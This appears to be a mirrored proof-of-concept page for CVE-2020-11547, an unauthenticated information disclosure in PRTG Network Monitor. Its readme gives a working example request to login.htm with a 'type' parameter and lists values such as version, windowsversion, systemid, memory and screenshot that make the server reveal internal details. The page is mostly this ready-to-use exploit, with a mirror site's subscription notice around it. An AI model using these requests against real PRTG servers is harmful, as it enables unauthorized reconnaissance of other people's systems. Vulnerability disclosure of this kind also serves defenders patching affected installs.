CVE-2020-11547 PoC — Paessler PRTG Network Monitor 信息泄露漏洞

Source

https://github.com/ch-rigu/CVE-2020-11547--PRTG-Network-Monitor-Information-Disclosure

Associated Vulnerability

Title:Paessler PRTG Network Monitor 信息泄露漏洞 (CVE-2020-11547)
Description:PRTG Network Monitor before 20.1.57.1745 allows remote unauthenticated attackers to obtain information about probes running or the server itself (CPU usage, memory, Windows version, and internal statistics) via an HTTP request, as demonstrated by type=probes to login.htm or index.htm.

Readme

# PRTG-Network-Monitor-Information-Disclosure - CVE-2020-11547

Remote unauthenticated user can craft an HTTP request in /public/login.htm or /index.htm by providing the 'type' parameter.

Example: http://127.0.0.1/public/login.htm?type=probes

replace probes by any of the following to get diferent info

- version
- cpuload
- dnsname
- serverhttpurl
- windowsversion
- systemid
- treestat
- memory
- requests
- screenshot
- lastsync
- probes
- warnings

File Snapshot


 [4.0K]  /data/pocs/2fc1e81860369b1a29f028deb50b996de2bd8128
└── [ 455]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!